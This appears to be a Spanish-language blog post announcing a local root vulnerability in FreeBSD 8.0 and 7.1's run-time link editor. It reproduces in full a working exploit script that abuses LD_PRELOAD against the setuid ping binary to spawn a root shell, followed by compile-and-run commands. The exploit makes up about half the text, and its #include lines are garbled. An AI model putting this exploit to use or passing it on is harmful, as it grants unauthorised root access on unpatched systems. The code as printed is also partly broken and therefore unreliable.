Fallo en FreeBSD permite obtener root
Tal parece que los amigos del pequeño "diablo rojo" no son los únicos que están exentos de exploits, hace algunos días se publico una vulnerabilidad descubierta por Nikolaos Rangos en los sistemas FreeBSD que permite escalar privilegios y obtener permisos de root en las versiones 8.0 y 7.1 de este sistema operativo.
El error reside en el Run-Time-Link Editor (rtld), que normalmente no permite variables de entorno peligrosas como LD_PRELOAD pero con una técnica sencilla el rtld pueden ser engañado para que acepte variables LD, incluso en los binarios setugid.
VERSIONES DE FREEBSD AFECTADAS
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NO VULNERABLE
FreeBSD 4.9-RELEASE *** NO VULNERABLE
Para más detalles ver el exploit.
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include
#include
#include
#include>
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
Para compilar y ejecutar
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env
Mas Información en el Full Disclosure publicado por Nikolaos Rangos
- Inicie sesión o regístrese para enviar comentarios

Comentarios recientes
hace 6 horas 26 mins
hace 2 días 20 horas
hace 3 días 17 horas
hace 4 días 19 horas
hace 4 días 21 horas
hace 5 días 17 mins
hace 5 días 13 horas
hace 5 días 21 horas
hace 5 días 23 horas
hace 1 semana 2 días